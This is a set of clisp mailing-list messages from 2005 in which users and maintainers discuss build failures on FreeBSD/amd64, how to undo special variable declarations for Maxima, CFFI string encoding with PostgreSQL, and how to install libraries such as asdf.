> say: huge, executable, which probably takes ages to load, but which is 
 > not dependent on other libraries anymore.

Wrong. Static binaries load much faster than with .so's.

> In my case, if I link dynamically, I get an unresolved external
> reference. Other people on this list have pointed out to me, that this might be related to libgnu, so I
> have posted it on the libgnu list and, since nobody there was able to pinpoint the error on
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Reini Urban writes:
> Com MN PG P E B Consultant 3 schrieb:
> > which means that you have one big, if not to
> > say: huge, executable, which probably takes ages to load, but which is 
>  > not dependent on other libraries anymore.
> 
> Wrong. Static binaries load much faster than with .so's.

Depends on the usage pattern.

If you must load 10 copies of the static library linked in ten
different programs, it will probably be slower than loading  the
dynamic library once and dynamically linking it 10 times.

 
> > In my case, if I link dynamically, I get an unresolved external
> > reference. Other people on this list have pointed out to me, that
> > this might be related to libgnu, so I have posted it on the libgnu
> > list and, since nobody there was able to pinpoint the error on
> > that list, I filed a bug  report on the matter.
> 
> ldd clisp

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=20

> Static binaries load much faster than with .so's.

Thank you for correcting me here.

>=20
> > In my case, if I link dynamically, I get an unresolved external
> > reference. Other people on this list have pointed out to=20
> me, that this might be related to libgnu, so I
> > have posted it on the libgnu list and, since nobody there=20
> was able to pinpoint the error on
> > that list, I filed a bug  report on the matter.
>=20
> ldd clisp

I know the "ldd" command, but I don't see how it can help me with my
problem????
After all, I don't have a "clisp" yet - that's exactly the problem: I
would like
to have one.=20

BTW I also tried it with an older version (I figured since the Linux
installation
I'm using, is from 2003, maybe I'm safer with a respective old version
of clisp).
I tried the 2.32 and, after also installing a library called "PCRE",
which this
clisp was requiring, "make" run fine. The problems came afterwards: The
installation
instructions (README) say that one should run the clisp, invoke certain
LISP commands
(I just copied them from what the README says) and finally type

  (exit)

which obviously means to terminate clisp - at which point I got a core
dump. So this
clisp seemed to be unusable too.

Finally I tried to use a version (2.33) which comes in a rpm package.
This didn't work
neither, because it insists that files are installed below /usr/local,
where I don't have
write-access to.

So if anyone can suggest something how I get some clisp running - even
if it is an old version
- I would really be glad.

Ronald



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Is it possible to make a special variable no longer special in clisp,
via some internal function?  This happens a lot in maxima where maxima
declares a symbol as special, and later on in the same file, maxima
wants to make that symbol no longer special.  I guess the intent is
that the variable is special only for the file, not for all of maxima.

(Yes, the right thing to do would be to fix maxima, but that's a huge
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over the source code.)

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> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-08 09:37:03 -0500]:
>
> Is it possible to make a special variable no longer special in clisp,
> via some internal function?  This happens a lot in maxima where maxima
> declares a symbol as special, and later on in the same file, maxima
> wants to make that symbol no longer special.  I guess the intent is
> that the variable is special only for the file, not for all of maxima.

not really, although there is a work-around:
<http://clisp.cons.org/impnotes/eval-comp.html#spec-decl>

what do other implementations do?
(proclaim '((not special) variable)) ?

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-08 09:37:03 -0500]:
    >> 
    >> Is it possible to make a special variable no longer special in clisp,
    >> via some internal function?  This happens a lot in maxima where maxima
    >> declares a symbol as special, and later on in the same file, maxima
    >> wants to make that symbol no longer special.  I guess the intent is
    >> that the variable is special only for the file, not for all of maxima.

    Sam> not really, although there is a work-around:
    Sam> <http://clisp.cons.org/impnotes/eval-comp.html#spec-decl>

That might work, and it should be portable too.  And couldn't you
preserve the symbol-plist and function definitions by reinstalling
them on the new symbol?

    Sam> what do other implementations do?
    Sam> (proclaim '((not special) variable)) ?

They all seem to use implementation-specific internals to remove the
specialness from the symbol.

Thanks,

Ray



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> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-08 10:31:00 -0500]:
>
>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>
>     >> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-08 09:37:03 -0500]:
>     >> 
>     >> Is it possible to make a special variable no longer special in clisp,
>     >> via some internal function?  This happens a lot in maxima where maxima
>     >> declares a symbol as special, and later on in the same file, maxima
>     >> wants to make that symbol no longer special.  I guess the intent is
>     >> that the variable is special only for the file, not for all of maxima.
>
>     Sam> not really, although there is a work-around:
>     Sam> <http://clisp.cons.org/impnotes/eval-comp.html#spec-decl>
>
> That might work, and it should be portable too.  And couldn't you
> preserve the symbol-plist and function definitions by reinstalling
> them on the new symbol?

CLOCC/PORT/sys.lisp:

(defun variable-not-special (symbol)
  "Undo the global special declaration.
This returns a _new_ symbol with the same name, package,
fdefinition, and plist as the argument.
This can be confused by imported symbols.
Also, (FUNCTION-LAMBDA-EXPRESSION (FDEFINITION NEW))
will return the OLD (uninterned!) symbol as its 3rd value.
BEWARE!"
  (let ((pack (symbol-package symbol)) var)
    (unintern symbol)
    (setq var (intern (symbol-name symbol) pack))
    (setf (fdefinition var) (fdefinition symbol)
          (symbol-plist var) (symbol-plist symbol))
    var))

>     Sam> what do other implementations do?
>     Sam> (proclaim '((not special) variable)) ?
>
> They all seem to use implementation-specific internals to remove the
> specialness from the symbol.

please ask c.l.l - maybe we need a new CLRFI on that.
(or maybe there is a deep reason not to)

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-08 10:31:00 -0500]:
    >> 
    >>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
    >> 
    >> >> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-08 09:37:03 -0500]:
    >> >> 
    >> >> Is it possible to make a special variable no longer special in clisp,
    >> >> via some internal function?  This happens a lot in maxima where maxima
    >> >> declares a symbol as special, and later on in the same file, maxima
    >> >> wants to make that symbol no longer special.  I guess the intent is
    >> >> that the variable is special only for the file, not for all of maxima.
    >> 
    Sam> not really, although there is a work-around:
    Sam> <http://clisp.cons.org/impnotes/eval-comp.html#spec-decl>
    >> 
    >> That might work, and it should be portable too.  And couldn't you
    >> preserve the symbol-plist and function definitions by reinstalling
    >> them on the new symbol?

Actually it doesn't quite work.  maxima gets some error about #:arg
being an undefined function.  Don't know where that comes from, but
maxima doesn't build now.

Ray



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> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-08 11:46:41 -0500]:
>
>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>
>     >> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-08 10:31:00 -0500]:
>     >> 
>     >>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>     >> 
>     >> >> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-08 09:37:03 -0500]:
>     >> >> 
>     >> >> Is it possible to make a special variable no longer special in clisp,
>     >> >> via some internal function?  This happens a lot in maxima where maxima
>     >> >> declares a symbol as special, and later on in the same file, maxima
>     >> >> wants to make that symbol no longer special.  I guess the intent is
>     >> >> that the variable is special only for the file, not for all of maxima.
>     >> 
>     Sam> not really, although there is a work-around:
>     Sam> <http://clisp.cons.org/impnotes/eval-comp.html#spec-decl>
>     >> 
>     >> That might work, and it should be portable too.  And couldn't you
>     >> preserve the symbol-plist and function definitions by reinstalling
>     >> them on the new symbol?
>
> Actually it doesn't quite work.  maxima gets some error about #:arg
> being an undefined function.  Don't know where that comes from, but
> maxima doesn't build now.

sure, it's not quite safe...
I am at loss to imagine a scenario that would lead to this though.

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On Tue, 2005-11-08 at 12:46 -0500, Sam Steingold wrote: 
> > Actually it doesn't quite work.  maxima gets some error about #:arg
> > being an undefined function.  Don't know where that comes from, but
> > maxima doesn't build now.
> 
> sure, it's not quite safe...
> I am at loss to imagine a scenario that would lead to this though.

(in-package #:cl-user)

(require :port-sys (translate-logical-pathname "clocc:src;port;sys"))

(defun arg-caller ()
  (arg))

(defparameter arg :arg-var)

(defun driver ()
  (port:variable-not-special 'arg)
  (setf (fdefinition (find-symbol "ARG")) (lambda () :arg))
  (arg-caller))

[1]> (load "v-n-s-breaks")
;; ...
T
[2]> (driver)

*** - EVAL: undefined function #:ARG
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead of (FDEFINITION '#:ARG).
...

[SLIME] Backtrace:
  0: #<SYSTEM-FUNCTION ERROR>
  1: #<COMPILED-FUNCTION SYSTEM::CHECK-VALUE>
  2: #<FUNCTION ARG-CALLER ...

I changed the new `variable-not-special' to account for the error
fdefinition signals when (fboundp sym) => NIL.

Admittedly contrived, but mainly triggered by delaying READ of symbols,
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Now that I look at it, replacing (arg-caller) with (arg) would have the
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Hi,
the clisp in ports doesn't install, because it says it is broken on
amd64.

I found a bugreport from 2005-10-17 15:33:08 GMT on this and indeed
if I try to compile clisp (clisp-2.35.tar.bz2) it dies with the same
symptoms, namely: 
 
> ===>  Building for clisp-2.35_1
> cc -I/opt/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
> -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE
> -DDYNAMIC_FFI -I. -c spvw.c
> In file included from spvw.d:24:
> lispbibl.d:3028: error: syntax error before "tint"

This seems to be caused by a failure to define oint_type_len (and probably
some others).
There is a definition in lispbibl.d for the case of AMD64 on Linux at
line 2917:

  #if defined(AMD64) && defined(UNIX_LINUX)
    # Code address range:    0x000000004xxxxxxx
    # Malloc address range:  0x000000004xxxxxxx
    # Shared libraries:      0x0000002A95xxxxxx
    # Bits 63..48 = type code, Bits 47..0 = address
    #define oint_type_shift 48
    #define oint_type_len 16
    #define oint_type_mask 0xFFFF000000000000UL
    #define oint_addr_shift 0
    #define oint_addr_len 48
    #define oint_addr_mask 0x0000FFFFFFFFFFFFUL
    #define oint_data_shift 0
    #define oint_data_len 48
    #define oint_data_mask 0x0000FFFFFFFFFFFFUL
  #endif

If I change that to include the Freebsd case UNIX_FREEBSD the
compilation succeeds, but the I get an error on the first start of the
executable:

$ gmake check
./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 1400KW -x "(and
 (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)"
Cannot map memory to address 0x4000000000000 .
[spvw_mmap.d:359] errno = EINVAL: Invalid argument.
./lisp.run: Not enough memory for Lisp.
gmake: *** [interpreted.mem] Error 1

So, I gues there is something wrong with the above defined values.

Maybe you can use this information to enable clisp on Freebsd/amd64. 
I'm unfortunately not knowledgable enough to do it

Andreas

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> * Andreas Eder <ner@fgnssn.rqre.ybpny> [2005-11-09 17:27:22 +0100]:
>
> Hi,
> the clisp in ports doesn't install, because it says it is broken on
> amd64.
>
> I found a bugreport from 2005-10-17 15:33:08 GMT on this and indeed
> if I try to compile clisp (clisp-2.35.tar.bz2) it dies with the same
> symptoms, namely: 
>  
>> ===>  Building for clisp-2.35_1
>> cc -I/opt/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
>> -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE
>> -DDYNAMIC_FFI -I. -c spvw.c
>> In file included from spvw.d:24:
>> lispbibl.d:3028: error: syntax error before "tint"
>
> This seems to be caused by a failure to define oint_type_len (and probably
> some others).
> There is a definition in lispbibl.d for the case of AMD64 on Linux at
> line 2917:
>
>   #if defined(AMD64) && defined(UNIX_LINUX)
>     # Code address range:    0x000000004xxxxxxx
>     # Malloc address range:  0x000000004xxxxxxx
>     # Shared libraries:      0x0000002A95xxxxxx
>     # Bits 63..48 = type code, Bits 47..0 = address
>     #define oint_type_shift 48
>     #define oint_type_len 16
>     #define oint_type_mask 0xFFFF000000000000UL
>     #define oint_addr_shift 0
>     #define oint_addr_len 48
>     #define oint_addr_mask 0x0000FFFFFFFFFFFFUL
>     #define oint_data_shift 0
>     #define oint_data_len 48
>     #define oint_data_mask 0x0000FFFFFFFFFFFFUL
>   #endif
>
> If I change that to include the Freebsd case UNIX_FREEBSD the
> compilation succeeds, but the I get an error on the first start of the
> executable:
>
> $ gmake check
> ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 1400KW -x "(and
>  (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)"
> Cannot map memory to address 0x4000000000000 .
> [spvw_mmap.d:359] errno = EINVAL: Invalid argument.
> ./lisp.run: Not enough memory for Lisp.
> gmake: *** [interpreted.mem] Error 1
>
> So, I gues there is something wrong with the above defined values.

now, just bad mmap() in FreeBSD.

> Maybe you can use this information to enable clisp on Freebsd/amd64. 
> I'm unfortunately not knowledgable enough to do it

you should start with clisp/unix/PLATFORMS in your source distribution.
disabling mmap() will get you a working CLISP.


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A question for BeOS (or openbeos) users:
are getservbyport, getservbyname, getservent implemented on BeOS now?
CLISP implements SOCKET:SOCKET-SERVICE-PORT on BeOS by parsing
"/boot/beos/etc/services" directly.
it appears
(http://cvs.sourceforge.net/viewcvs.py/open-beos/current/src/kits/network/libnet/)
that, first, the C functions are now present,
and, second, the file is "/etc/services" and not
"/boot/beos/etc/services".
Could you please confirm that?
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> * Mikhail Teterin <Zvxunvy.Grgreva@zherk.pbz> [2005-11-09 13:34:55 -0500]:
>
> =D1=81=D0=B5=D1=80=D0=B5=D0=B4=D0=B0 09 =D0=BB=D0=B8=D1=81=D1=82=D0=BE=D0=
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>> now, just bad mmap() in FreeBSD.
>
> Can you, please, provide a test case? What exactly is "bad"?

clisp calls mmap() and it works on linux but not on FreeBSD.  that's bad.

I am not trying to put FreeBSD down, and I am not claiming any expertize
on memory mapping.  I am just saying that it would be nice if someone
could figure this out.  Please go ahead!


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Sam Steingold wrote:
>> So, I gues there is something wrong with the above defined values.
>
>now, just bad mmap() in FreeBSD.
>
>> Maybe you can use this information to enable clisp on Freebsd/amd64. 
>> I'm unfortunately not knowledgable enough to do it
>
>you should start with clisp/unix/PLATFORMS in your source distribution.
>disabling mmap() will get you a working CLISP.

How do I disable mmap then?
Do you know what is wrong about it? Is there a chance to correct its
behaviour in Freeebsd?

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> * Andreas Eder <ner@fgnssn.rqre.ybpny> [2005-11-09 21:51:40 +0100]:
>
> Sam Steingold wrote:
>>> So, I gues there is something wrong with the above defined values.
>>
>>now, just bad mmap() in FreeBSD.
>>
>>> Maybe you can use this information to enable clisp on Freebsd/amd64. 
>>> I'm unfortunately not knowledgable enough to do it
>>
>>you should start with clisp/unix/PLATFORMS in your source distribution.
>>disabling mmap() will get you a working CLISP.
>
> How do I disable mmap then?

you read my message again.
4 lines above your reply I say:
"you should start with clisp/unix/PLATFORMS in your source distribution"
actually _DO_ start with that file and search for "porting".

> Do you know what is wrong about it?

nope.

> Is there a chance to correct its behaviour in Freeebsd?

you need to talk to the Freeebsd maintainers.
it is quite likely that they will tell you that it is CLISP, not
Freeebsd, that is broken.
ask them to tell you how to fix CLISP.
(I suggest that you work with the CLISP CVS head).

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Sam Steingald write:
>> How do I disable mmap then?

>you read my message again.
>4 lines above your reply I say:
>"you should start with clisp/unix/PLATFORMS in your source distribution"
>actually _DO_ start with that file and search for "porting".

Ok, fine I tried that, but a get an error message saying:

gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE -DDYNAMIC_FFI -I. -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP  -c spvw.c
In file included from spvw.d:24:
lispbibl.d:9474: warning: volatile register variables don't work as you might wish
In file included from spvw.d:3425:
spvw_memfile.d: In function `loadmem_from_handle':
spvw_memfile.d:1487: error: structure has no member named `heap_limit'

So, either I'm really dumb or there is a problem in the code.

And if I add -DNO_GENERATIONAL_GC I'm back to the first error:

./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)"
Cannot map shared memory to address 0x71a000.
[spvw_multimap.d:359] errno = ENOMEM: Hauptspeicher oder Swapspace reicht nicht.
./lisp.run: Nicht genug Speicher für Lisp.



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>>>>> "Stephen" == Stephen Compall <s11@member.fsf.org> writes:

    Stephen> On Tue, 2005-11-08 at 12:46 -0500, Sam Steingold wrote: 
    >> > Actually it doesn't quite work.  maxima gets some error about #:arg
    >> > being an undefined function.  Don't know where that comes from, but
    >> > maxima doesn't build now.
    >> 
    >> sure, it's not quite safe...
    >> I am at loss to imagine a scenario that would lead to this though.

[snip]


    Stephen> *** - EVAL: undefined function #:ARG
    Stephen> The following restarts are available:

Thanks for the nice example.  I don't really know where this is coming
from, but I'll have to dig a little deeper to see if maxima is doing
something similar.  

My motivation, unfortunately, is rather low.  It's easier to just
rename the few places (that I know about) where the offending symbol
is causing trouble.  A terrible solution, but....

Ray



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> * Andreas Eder <naqernf_rqre@tzk.arg> [2005-11-10 00:33:50 +0100]:
>
> Sam Steingald write:

it would be nice if you spelled by name correctly.  thanks.

>>> How do I disable mmap then?
>
>>you read my message again.
>>4 lines above your reply I say:
>>"you should start with clisp/unix/PLATFORMS in your source distribution"
>>actually _DO_ start with that file and search for "porting".
>
> Ok, fine I tried that, but a get an error message saying:
>
> gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE -DDYNAMIC_FFI -I. -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP  -c spvw.c
> In file included from spvw.d:24:
> lispbibl.d:9474: warning: volatile register variables don't work as you might wish
> In file included from spvw.d:3425:
> spvw_memfile.d: In function `loadmem_from_handle':
> spvw_memfile.d:1487: error: structure has no member named `heap_limit'

yes, I have seen this too, and maybe some day I will take care of this.
or maybe not.  maybe you would like to fix this?
meanwhile, if you add all for -DNO_* flags that clisp/unix/PLATFORMS
recommends, you should get a working CLISP.

> And if I add -DNO_GENERATIONAL_GC I'm back to the first error:

why do this? clisp/unix/PLATFORMS recommends it in a very specific
circumstances that are not satisfied in your case.


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>> If this works, report the bug to the author of cffi.  He should move
>>  
>>
>> these functions to the implementation specific files (cffi-clisp.lisp).
>
>
>
> It is works! Many thanks!!!!
>

I do not understand something, or it is a error:

[2]> (setq conn (clsql:connect '("localhost" "test" "postgres" "postgres")
                                :database-type :postgresql))
#<CLSQL-POSTGRESQL:POSTGRESQL-DATABASE localhost/test/postgres OPEN 
#x19FD4809>
[3]> (clsql:print-query "SHOW client_encoding;" :database conn)
win

[4]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:CP1251))
        (clsql:execute-command
          "insert into mu values ('кг', 'килограмм')"
          :database conn))

[5]> (clsql:execute-command "SET CLIENT_ENCODING TO 'UTF8'" :database conn)

[6]> (clsql:print-query "SHOW client_encoding;" :database conn)
UTF8

[7]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:UTF-8))
        (clsql:execute-command
          "insert into mu values ('м', 'метр')"
          :database conn))

*** - invalid byte sequence #xD1 #x22 in CHARSET:UTF-8 conversion
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [8]> :bt
<1> #<SYSTEM-FUNCTION SHOW-STACK> 3
<2> #<COMPILED-FUNCTION SYSTEM::PRINT-BACKTRACE>
<3> #<COMPILED-FUNCTION SYSTEM::DEBUG-BACKTRACE>
<4> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT> 2
<5> #<COMPILED-FUNCTION SYSTEM::BREAK-LOOP-2-2>
<6> #<SYSTEM-FUNCTION SYSTEM::SAME-ENV-AS> 2
<7> #<COMPILED-FUNCTION SYSTEM::BREAK-LOOP-2>
<8> #<SYSTEM-FUNCTION SYSTEM::DRIVER>
<9> #<COMPILED-FUNCTION SYSTEM::BREAK-LOOP>
<10> #<SYSTEM-FUNCTION INVOKE-DEBUGGER> 1
<11> #<SYSTEM-FUNCTION CONVERT-STRING-FROM-BYTES> 2
<12> #<COMPILED-FUNCTION CFFI:FOREIGN-STRING-TO-LISP>
<13> #<COMPILED-FUNCTION CLSQL-POSTGRESQL::TIDY-ERROR-MESSAGE>

These are features of PostgreSQL work, or wrong encode translate?

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> * Yaroslav Kavenchuk <xnirapuhx@ghg.ol> [2005-11-10 22:20:50 +0200]:
>
> [4]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:CP1251))
>         (clsql:execute-command
>           "insert into mu values ('=D0=BA=D0=B3', '=D0=BA=D0=B8=D0=BB=D0=
=BE=D0=B3=D1=80=D0=B0=D0=BC=D0=BC')"
>           :database conn))

it works, this means that '=D0=BA=D0=B8=D0=BB=D0=BE=D0=B3=D1=80=D0=B0=D0=BC=
=D0=BC' is actually in CP1251

> [7]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:UTF-8))
>         (clsql:execute-command
>           "insert into mu values ('=D0=BC', '=D0=BC=D0=B5=D1=82=D1=80')"
>           :database conn))
>
> *** - invalid byte sequence #xD1 #x22 in CHARSET:UTF-8 conversion

aha - so '=D0=BC=D0=B5=D1=82=D1=80' is not UTF-8 (but CP1251)!

surprized?



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Sam Steingold wrote:

>>* Yaroslav Kavenchuk <xnirapuhx@ghg.ol> [2005-11-10 22:20:50 +0200]:
>>
>>[4]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:CP1251))
>>        (clsql:execute-command
>>          "insert into mu values ('кг', 'килограмм')"
>>          :database conn))
> 
> 
> it works, this means that 'килограмм' is actually in CP1251
> 
> 
>>[7]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:UTF-8))
>>        (clsql:execute-command
>>          "insert into mu values ('м', 'метр')"
>>          :database conn))
>>
>>*** - invalid byte sequence #xD1 #x22 in CHARSET:UTF-8 conversion
> 
> 
> aha - so 'метр' is not UTF-8 (but CP1251)!
> 
> surprized?
> 

Yes :)

What is do next function

(defun lisp-string-to-foreign (string ptr size)
  "Copy at most SIZE-1 characters from a Lisp STRING to PTR.
The foreign string will be null-terminated."
  (decf size)
  (loop
     :with bytes = (ext:convert-string-to-bytes string
custom:*foreign-encoding*)
     :with i = 0
     :for byte :across bytes
     :while (< i size)
     :do (setf (%mem-ref ptr :unsigned-char (post-incf i)) byte)
     :finally (setf (%mem-ref ptr :unsigned-char i) 0)))

if CUSTOM:*FOREIGN-ENCODING* is CHARSET:UTF-8?

Thanks!

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-11-11 11:34:24 +0200]:
>
> Sam Steingold wrote:
>
>>>* Yaroslav Kavenchuk <xnirapuhx@ghg.ol> [2005-11-10 22:20:50 +0200]:
>>>
>>>[4]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:CP1251))
>>>        (clsql:execute-command
>>>          "insert into mu values ('=D0=BA=D0=B3', '=D0=BA=D0=B8=D0=BB=D0=
=BE=D0=B3=D1=80=D0=B0=D0=BC=D0=BC')"
>>>          :database conn))
>>=20
>>=20
>> it works, this means that '=D0=BA=D0=B8=D0=BB=D0=BE=D0=B3=D1=80=D0=B0=D0=
=BC=D0=BC' is actually in CP1251
>>=20
>>=20
>>>[7]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:UTF-8))
>>>        (clsql:execute-command
>>>          "insert into mu values ('=D0=BC', '=D0=BC=D0=B5=D1=82=D1=80')"
>>>          :database conn))
>>>
>>>*** - invalid byte sequence #xD1 #x22 in CHARSET:UTF-8 conversion
>>=20
>>=20
>> aha - so '=D0=BC=D0=B5=D1=82=D1=80' is not UTF-8 (but CP1251)!
>>=20
>> surprized?
>
> Yes :)
>
> What is do next function
>
> (defun lisp-string-to-foreign (string ptr size)
>   "Copy at most SIZE-1 characters from a Lisp STRING to PTR.
> The foreign string will be null-terminated."
>   (decf size)
>   (loop
>      :with bytes =3D (ext:convert-string-to-bytes string
> custom:*foreign-encoding*)
>      :with i =3D 0
>      :for byte :across bytes
>      :while (< i size)
>      :do (setf (%mem-ref ptr :unsigned-char (post-incf i)) byte)
>      :finally (setf (%mem-ref ptr :unsigned-char i) 0)))
>
> if CUSTOM:*FOREIGN-ENCODING* is CHARSET:UTF-8?

string is a character array.
in CL, a character is a first class object distinct from its integer
code.
an encoding is a map (a 1:1 function) between (a subset of) the set of
character and a subset of the set of integers.
once you get this down, you will see why CLISP has so many encoding
variables...


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Yaroslav Kavenchuk writes:
> What is do next function

Exactly what is written: 
> (defun lisp-string-to-foreign (string ptr size)
>   "Copy at most SIZE-1 characters from a Lisp STRING to PTR.
> The foreign string will be null-terminated."
>   (decf size)                      

Decrements the size, since the above documentation string specifies that
it must copy at most SIZE - 1 characters.

>   (loop
>      :with bytes = (ext:convert-string-to-bytes string
> custom:*foreign-encoding*)
> if CUSTOM:*FOREIGN-ENCODING* is CHARSET:UTF-8?

Converts the string to UTF-8 bytes.

>      :with i = 0

Start with i = 0

>      :for byte :across bytes

For each byte in the vector bytes.

>      :while (< i size)

But no more than size times

>      :do (setf (%mem-ref ptr :unsigned-char (post-incf i)) byte)

Put the byte in the memory at  ptr+i, and increment i.

>      :finally (setf (%mem-ref ptr :unsigned-char i) 0)))

And finally, put a null byte at the last ptr+i.
 


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Sam Steingold wrote:

> string is a character array.
> in CL, a character is a first class object distinct from its integer
> code.
> an encoding is a map (a 1:1 function) between (a subset of) the set of
> character and a subset of the set of integers.
> once you get this down, you will see why CLISP has so many encoding
> variables...
> 

Thank you and Pascal Bourguignon.

I have understood correctly:

- strings inside the program (at processing) always is a array of
character (unicode)?

- *TERMINAL-ENCODING* specifies encoding to translate terminal i/o to
lisp-string?

- russian symbol "Ш" (#\CYRILLIC_CAPITAL_LETTER_SHA) is identical inside
lisp without dependence from input encoding (CP866, CP1251, UTF-8)?

- why the string an interior cannot be translated in UTF-8?

Thanks!

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-11-11 17:06:09 +0200]:
>
> - strings inside the program (at processing) always is a array of
> character (unicode)?

yes.
http://clisp.cons.org/impnotes/characters.html

> - *TERMINAL-ENCODING* specifies encoding to translate terminal i/o to
> lisp-string?

yes.
http://clisp.cons.org/impnotes/encoding.html#term-enc


> - russian symbol "=D0=A8" (#\CYRILLIC_CAPITAL_LETTER_SHA) is identical in=
side

"character", not "symbol"! ("=D0=B1=D1=83=D0=BA=D0=B2=D0=B0" =D0=B0 =D0=BD=
=D0=B5 "=D1=81=D0=B8=D0=BC=D0=B2=D0=BE=D0=BB").

> lisp without dependence from input encoding (CP866, CP1251, UTF-8)?

yes.


> - why the string an interior cannot be translated in UTF-8?

I don't understand the question.

a string can be converted into bytes using any encoding.
http://clisp.cons.org/impnotes/encoding.html#term-enc

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> it would be nice if you could test it.

I've tried to build clisp from CVS, but failed with various errors. 
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   I've tried to build clisp from CVS, but failed with various errors. 
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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-11-12 09:13:53 -0500]:
>
>    From: Dmitri Hrapof <yavannadil@yahoo.com>
>    Date: Sat, 12 Nov 2005 11:22:10 +0000 (UTC)
>
>    Sam Steingold <sds <at> gnu.org> writes:
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>    > the handling of buffered streams by SOCKET-STATUS has been fixed in the
>    > CVS head.
>    > it would be nice if you could test it.
>
>    I've tried to build clisp from CVS, but failed with various errors. 
>    Guess it's time for me to upgrade MacOS to 10.4 and gcc (3.1 20020420)
>    :-( 
>
> You'll get the same errors.  If we could see the header files
> and build-generated sources that went into builds on other
> systems, that might nail the errors.  Pointers, anyone?

clisp cvs head builds ootb on sf cf ppc-osx2
if you are experiencing problems, please see clisp faq and search for "bugs"

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I've been reading a couple of Lisp books and have a pretty good handle 
on coding in Lisp but adding and deploying libraries and applications 
has me confused. For instance, I would like to install asdf 
<http://www.cliki.net/asdf> and mk-defsystem 
<http://www.cliki.net/mk-defsystem> to get started. I have been looking 
through the wiki and looking at the site pages for those libraries but I 
still don't know how to install those libraries in CLISP. One of the 
problems is that running a Lisp system is unlike anything I have done in 
the past. I am an experienced developer and use a variety of languages 
but Lisp is really different. I also need to figure out how I would 
deploy an application. I saw a past message asking about deployment 
which said that, technically, a runtime needs the lisp executable and an 
init image but legally the source for the environment and application 
needs to be deployed. Would having the source in an archive accessible 
to the user work, as well. I'm just thinking about easing deployment and 
setup.
    So the questions are... Is there a write up somewhere on installing 
libraries in CLISP? Is there a legal oppinion on deploying an 
application with the runtime and source in separate packages?

Currently, I have CLISP setup with emacs and SLIME as the development 
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> * Mike Owens <fgbezpbqre@lnubb.pbz> [2005-11-12 23:21:48 -0800]:
>
> I've been reading a couple of Lisp books and have a pretty good handle
> on coding in Lisp but adding and deploying libraries and applications
> has me confused.

did you read clisp docs too?
http://clisp.cons.org/impnotes/faq.html

> For instance, I would like to install asdf <http://www.cliki.net/asdf>
> and mk-defsystem <http://www.cliki.net/mk-defsystem> to get started. I
> have been looking through the wiki and looking at the site pages for
> those libraries but I still don't know how to install those libraries
> in CLISP.

you download the applications you want to install, compile them, and put
the form that loads them into your ~/.clisprc.lisp file.
http://clisp.cons.org/impnotes/clisp.html#opt-norc

alternatively, you load the application and same the image, and then
invoke CLISP with the "-M" option.
http://clisp.cons.org/impnotes/image.html
http://clisp.cons.org/impnotes/clisp.html#opt-memfile

> I also need to figure out how I would deploy an application.

http://clisp.cons.org/impnotes/quickstart.html

> Would having the source in an archive accessible to the user work,

yes.

> Is there a legal oppinion on deploying an application with the runtime
> and source in separate packages?

http://clisp.cons.org/impnotes/app-dev.html


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Mike Owens <stormcoder@yahoo.com> writes:

> I've been reading a couple of Lisp books and have a pretty good handle
> on coding in Lisp but adding and deploying libraries and applications
> has me confused. For instance, I would like to install asdf
> <http://www.cliki.net/asdf> and mk-defsystem
> <http://www.cliki.net/mk-defsystem> to get started. I have been
> looking through the wiki and looking at the site pages for those
> libraries but I still don't know how to install those libraries in
> CLISP. 

Check out the tutorial for asdf-install, it might help.

http://www.weitz.de/asdf-install/

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Dear All,

does anyone know where I may get REGEXP package for my CLisp version?

My version:

STACK depth: 16367
